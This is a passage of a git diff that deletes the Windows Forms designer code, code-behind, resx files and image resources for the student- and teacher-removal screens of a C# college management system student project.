this.tableLayoutPanel1.TabIndex = 0; - this.tableLayoutPanel1.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel1_Paint); - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Top; - this.tableLayoutPanel2.ForeColor = System.Drawing.Color.White; - this.tableLayoutPanel2.Location = new System.Drawing.Point(110, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(1049, 70); - this.tableLayoutPanel2.TabIndex = 1; - this.tableLayoutPanel2.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel2_Paint); - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.Font = new System.Drawing.Font("Constantia", 15.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.Location = new System.Drawing.Point(438, 22); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(173, 26); - this.label1.TabIndex = 0; - this.label1.Text = "Remove Student"; - this.label1.Click += new System.EventHandler(this.label1_Click); - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.tableLayoutPanel4, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Left; - this.tableLayoutPanel3.Location = new System.Drawing.Point(3, 79); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 1; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(101, 370); - this.tableLayoutPanel3.TabIndex = 2; - this.tableLayoutPanel3.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel3_Paint); - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.BackColor = System.Drawing.Color.Salmon; - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel4.Controls.Add(this.tableLayoutPanel6, 0, 1); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel4.Location = new System.Drawing.Point(3, 3); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 2; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(95, 364); - this.tableLayoutPanel4.TabIndex = 0; - this.tableLayoutPanel4.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel4_Paint); - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.White; - this.label2.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.Black; - this.label2.Location = new System.Drawing.Point(3, 74); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(89, 34); - this.label2.TabIndex = 1; - this.label2.Text = "Back to Main Menu"; - this.label2.Click += new System.EventHandler(this.label2_Click); - // - // tableLayoutPanel5 - // - this.tableLayoutPanel5.ColumnCount = 1; - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.Controls.Add(this.studentGV, 0, 0); - this.tableLayoutPanel5.Location = new System.Drawing.Point(110, 79); - this.tableLayoutPanel5.Name = "tableLayoutPanel5"; - this.tableLayoutPanel5.RowCount = 1; - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.Size = new System.Drawing.Size(1049, 364); - this.tableLayoutPanel5.TabIndex = 2; - this.tableLayoutPanel5.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel5_Paint); - // - // tableLayoutPanel6 - // - this.tableLayoutPanel6.BackColor = System.Drawing.Color.White; - this.tableLayoutPanel6.ColumnCount = 1; - this.tableLayoutPanel6.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.Controls.Add(this.pictureBox2, 0, 0); - this.tableLayoutPanel6.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel6.Location = new System.Drawing.Point(3, 185); - this.tableLayoutPanel6.Name = "tableLayoutPanel6"; - this.tableLayoutPanel6.RowCount = 1; - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.Size = new System.Drawing.Size(89, 176); - this.tableLayoutPanel6.TabIndex = 3; - this.tableLayoutPanel6.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel6_Paint); - // - // studentGV - // - this.studentGV.AllowUserToAddRows = false; - this.studentGV.BackgroundColor = System.Drawing.Color.White; - this.studentGV.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.studentGV.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.Remove}); - this.studentGV.Dock = System.Windows.Forms.DockStyle.Fill; - this.studentGV.GridColor = System.Drawing.Color.SeaShell; - this.studentGV.Location = new System.Drawing.Point(3, 3); - this.studentGV.Name = "studentGV"; - this.studentGV.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.CellSelect; - this.studentGV.Size = new System.Drawing.Size(1043, 358); - this.studentGV.TabIndex = 1; - this.studentGV.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView1_CellContentClick); - // - // Remove - // - this.Remove.HeaderText = "Remove"; - this.Remove.Name = "Remove"; - this.Remove.Text = "Remove"; - this.Remove.UseColumnTextForButtonValue = true; - // - // pictureBox1 - // - this.pictureBox1.BackgroundImage = global::CMS.Properties.Resources.remove; - this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox1.Location = new System.Drawing.Point(3, 3); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(101, 70); - this.pictureBox1.TabIndex = 0; - this.pictureBox1.TabStop = false; - this.pictureBox1.Click += new System.EventHandler(this.pictureBox1_Click); - // - // pictureBox2 - // - this.pictureBox2.BackgroundImage = global::CMS.Properties.Resources.delete; - this.pictureBox2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox2.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox2.Location = new System.Drawing.Point(3, 3); - this.pictureBox2.Name = "pictureBox2"; - this.pictureBox2.Size = new System.Drawing.Size(83, 170); - this.pictureBox2.TabIndex = 0; - this.pictureBox2.TabStop = false; - this.pictureBox2.Click += new System.EventHandler(this.pictureBox2_Click); - // - // RemoveStudentForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1162, 473); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "RemoveStudentForm"; - this.Text = "RemoveStudentForm"; - this.Load += new System.EventHandler(this.RemoveStudentForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel4.PerformLayout(); - this.tableLayoutPanel5.ResumeLayout(false); - this.tableLayoutPanel6.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.studentGV)).EndInit(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); - this.ResumeLayout(false); - - } - - #endregion - - public System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - public System.Windows.Forms.PictureBox pictureBox1; - public System.Windows.Forms.TableLayoutPanel tableLayoutPanel5; - public System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - public System.Windows.Forms.Label label1; - public System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - public System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - public System.Windows.Forms.Label label2; - public System.Windows.Forms.TableLayoutPanel tableLayoutPanel6; - public System.Windows.Forms.DataGridViewButtonColumn Remove; - public System.Windows.Forms.DataGridView studentGV; - public System.Windows.Forms.PictureBox pictureBox2; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/RemoveStudentForm.cs b/Add Code Here/C#/CMS/RemoveStudentForm.cs deleted file mode 100644 index 40f97ef652d..00000000000 --- a/Add Code Here/C#/CMS/RemoveStudentForm.cs +++ /dev/null @@ -1,106 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.BL; -using CMS.DL; - -namespace CMS -{ - public partial class RemoveStudentForm : Form - { - public RemoveStudentForm() - { - InitializeComponent(); - } - - private void dataGridView1_CellContentClick(object sender, DataGridViewCellEventArgs e) - { - try - { - STUDENTBL user = (STUDENTBL)studentGV.CurrentRow.DataBoundItem; - if (studentGV.Columns["Remove"].Index == e.ColumnIndex) - { - STUDENTDL.deleteStudentFromList(user); - STUDENTDL.addStudentDataIntoFile("Student.txt"); - dataBind(); - MessageBox.Show("Data Deleted Successfully"); - } - } - catch(Exception) - { - MessageBox.Show("Please Try again"); - } - } - - public void dataBind() - { - studentGV.DataSource = null; - studentGV.DataSource = STUDENTDL.StudentList1; - studentGV.Refresh(); - } - - private void tableLayoutPanel1_Paint(object sender, PaintEventArgs e) - { - - } - - private void RemoveStudentForm_Load(object sender, EventArgs e) - { - studentGV.DataSource = STUDENTDL.StudentList1; // introspection - } - - private void label2_Click(object sender, EventArgs e) - { - AdminMenu Menu = new AdminMenu(); - this.Close(); - Menu.Show(); - - } - - private void tableLayoutPanel2_Paint(object sender, PaintEventArgs e) - { - - } - - private void label1_Click(object sender, EventArgs e) - { - - } - - private void tableLayoutPanel3_Paint(object sender, PaintEventArgs e) - { - - } - - private void tableLayoutPanel4_Paint(object sender, PaintEventArgs e) - { - - } - - private void tableLayoutPanel5_Paint(object sender, PaintEventArgs e) - { - - } - - private void tableLayoutPanel6_Paint(object sender, PaintEventArgs e) - { - - } - - private void pictureBox1_Click(object sender, EventArgs e) - { - - } - - private void pictureBox2_Click(object sender, EventArgs e) - { - - } - } -} diff --git a/Add Code Here/C#/CMS/RemoveStudentForm.resx b/Add Code Here/C#/CMS/RemoveStudentForm.resx deleted file mode 100644 index efc3a0f57ff..00000000000 --- a/Add Code Here/C#/CMS/RemoveStudentForm.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - True - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/RemoveTeacherForm.Designer.cs b/Add Code Here/C#/CMS/RemoveTeacherForm.Designer.cs deleted file mode 100644 index 030d3b31ec4..00000000000 --- a/Add Code Here/C#/CMS/RemoveTeacherForm.Designer.cs +++ /dev/null @@ -1,258 +0,0 @@ - -namespace CMS -{ - partial class RemoveTeacherForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel5 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.tableLayoutPanel6 = new System.Windows.Forms.TableLayoutPanel(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.pictureBox2 = new System.Windows.Forms.PictureBox(); - this.teacherGV = new System.Windows.Forms.DataGridView(); - this.Remove = new System.Windows.Forms.DataGridViewButtonColumn(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel5.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - this.tableLayoutPanel6.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); - ((System.ComponentModel.ISupportInitialize)(this.teacherGV)).BeginInit(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 9.29432F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 90.70568F)); - this.tableLayoutPanel1.Controls.Add(this.pictureBox1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel5, 1, 1); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 3; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 16.91332F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 83.08668F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1185, 450); - this.tableLayoutPanel1.TabIndex = 1; - // - // tableLayoutPanel5 - // - this.tableLayoutPanel5.ColumnCount = 1; - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.Controls.Add(this.teacherGV, 0, 0); - this.tableLayoutPanel5.Location = new System.Drawing.Point(113, 75); - this.tableLayoutPanel5.Name = "tableLayoutPanel5"; - this.tableLayoutPanel5.RowCount = 1; - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.Size = new System.Drawing.Size(1049, 351); - this.tableLayoutPanel5.TabIndex = 2; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Top; - this.tableLayoutPanel2.ForeColor = System.Drawing.Color.White; - this.tableLayoutPanel2.Location = new System.Drawing.Point(113, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(1069, 66); - this.tableLayoutPanel2.TabIndex = 1; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.Font = new System.Drawing.Font("Constantia", 15.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.Location = new System.Drawing.Point(448, 20); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(172, 26); - this.label1.TabIndex = 0; - this.label1.Text = "Remove Teacher"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.tableLayoutPanel4, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Left; - this.tableLayoutPanel3.Location = new System.Drawing.Point(3, 75); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 1; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(101, 351); - this.tableLayoutPanel3.TabIndex = 2; - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.BackColor = System.Drawing.Color.Salmon; - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel4.Controls.Add(this.tableLayoutPanel6, 0, 1); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel4.Location = new System.Drawing.Point(3, 3); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 2; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(95, 345); - this.tableLayoutPanel4.TabIndex = 0; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.Green; - this.label2.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.White; - this.label2.Location = new System.Drawing.Point(3, 69); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(89, 34); - this.label2.TabIndex = 1; - this.label2.Text = "Back to Main Menu"; - this.label2.Click += new System.EventHandler(this.label2_Click); - // - // tableLayoutPanel6 - // - this.tableLayoutPanel6.BackColor = System.Drawing.Color.White; - this.tableLayoutPanel6.ColumnCount = 1; - this.tableLayoutPanel6.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.Controls.Add(this.pictureBox2, 0, 0); - this.tableLayoutPanel6.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel6.Location = new System.Drawing.Point(3, 175); - this.tableLayoutPanel6.Name = "tableLayoutPanel6"; - this.tableLayoutPanel6.RowCount = 1; - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.Size = new System.Drawing.Size(89, 167); - this.tableLayoutPanel6.TabIndex = 3; - // - // pictureBox1 - // - this.pictureBox1.BackgroundImage = global::CMS.Properties.Resources.delete_business_user_icon_cartoon_style_delete_business_user_icon_cartoon_delete_business_user_vector_icon_web_design_216465921; - this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox1.Location = new System.Drawing.Point(3, 3); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(104, 66); - this.pictureBox1.TabIndex = 0; - this.pictureBox1.TabStop = false; - // - // pictureBox2 - // - this.pictureBox2.BackgroundImage = global::CMS.Properties.Resources.delete; - this.pictureBox2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox2.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox2.Location = new System.Drawing.Point(3, 3); - this.pictureBox2.Name = "pictureBox2"; - this.pictureBox2.Size = new System.Drawing.Size(83, 161); - this.pictureBox2.TabIndex = 0; - this.pictureBox2.TabStop = false; - // - // teacherGV - // - this.teacherGV.AllowUserToAddRows = false; - this.teacherGV.BackgroundColor = System.Drawing.Color.White; - this.teacherGV.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.teacherGV.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.Remove}); - this.teacherGV.Dock = System.Windows.Forms.DockStyle.Fill; - this.teacherGV.GridColor = System.Drawing.Color.Green; - this.teacherGV.Location = new System.Drawing.Point(3, 3); - this.teacherGV.Name = "teacherGV"; - this.teacherGV.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.CellSelect; - this.teacherGV.Size = new System.Drawing.Size(1043, 345); - this.teacherGV.TabIndex = 1; - this.teacherGV.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.teacherGV_CellContentClick); - // - // Remove - // - this.Remove.HeaderText = "Remove"; - this.Remove.Name = "Remove"; - this.Remove.Text = "Remove"; - this.Remove.UseColumnTextForButtonValue = true; - // - // RemoveTeacherForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1185, 450); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "RemoveTeacherForm"; - this.Text = "RemoveTeacherForm"; - this.Load += new System.EventHandler(this.RemoveTeacherForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel5.ResumeLayout(false); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel4.PerformLayout(); - this.tableLayoutPanel6.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); - ((System.ComponentModel.ISupportInitialize)(this.teacherGV)).EndInit(); - this.ResumeLayout(false); - - } - - #endregion - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel5; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel6; - private System.Windows.Forms.PictureBox pictureBox2; - private System.Windows.Forms.DataGridView teacherGV; - private System.Windows.Forms.DataGridViewButtonColumn Remove; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/RemoveTeacherForm.cs b/Add Code Here/C#/CMS/RemoveTeacherForm.cs deleted file mode 100644 index 0eefacb89de..00000000000 --- a/Add Code Here/C#/CMS/RemoveTeacherForm.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.DL; -using CMS.BL; - -namespace CMS -{ - public partial class RemoveTeacherForm : Form - { - public RemoveTeacherForm() - { - InitializeComponent(); - } - - public void dataBind() - { - teacherGV.DataSource = null; - teacherGV.DataSource = TEACHERDL.TeacherList1; - teacherGV.Refresh(); - } - - private void label2_Click(object sender, EventArgs e) - { - AdminMenu menu = new AdminMenu(); - this.Close(); - menu.Show(); - } - - private void teacherGV_CellContentClick(object sender, DataGridViewCellEventArgs e) - { - TEACHERBL user = (TEACHERBL)teacherGV.CurrentRow.DataBoundItem; - if (teacherGV.Columns["Remove"].Index == e.ColumnIndex) - { - TEACHERDL.deleteTeacherFromList(user); - TEACHERDL.addTeacherIntoFile("Teacher.txt"); - dataBind(); - MessageBox.Show("Data Deleted Successfully"); - } - - } - - private void RemoveTeacherForm_Load(object sender, EventArgs e) - { - teacherGV.DataSource = TEACHERDL.TeacherList1; - } - } -} diff --git a/Add Code Here/C#/CMS/RemoveTeacherForm.resx b/Add Code Here/C#/CMS/RemoveTeacherForm.resx deleted file mode 100644 index efc3a0f57ff..00000000000 --- a/Add Code Here/C#/CMS/RemoveTeacherForm.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - True - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/Resources/126337.png b/Add Code Here/C#/CMS/Resources/126337.png deleted file mode 100644 index 880a85563fe..00000000000 Binary files a/Add Code Here/C#/CMS/Resources/126337.png and /dev/null differ diff --git a/Add Code Here/C#/CMS/Resources/3589030.png b/Add Code Here/C#/CMS/Resources/3589030.png deleted file mode 100644 index 4863fbab822..00000000000 Binary files a/Add Code Here/C#/CMS/Resources/3589030.png and /dev/null differ diff --git a/Add Code Here/C#/CMS/Resources/College-Management-System.jpg b/Add Code Here/C#/CMS/Resources/College-Management-System.jpg deleted file mode 100644 index 04945b3c819..00000000000 Binary files a/Add Code Here/C#/CMS/Resources/College-Management-System.jpg and /dev/null differ diff --git a/Add Code Here/C#/CMS/Resources/College-Management.png b/Add Code Here/C#/CMS/Resources/College-Management.png deleted file mode 100644 index 609c6aa9696..00000000000 Binary files a/Add Code Here/C#/CMS/Resources/College-Management.png and /dev/null differ diff --git a/Add Code 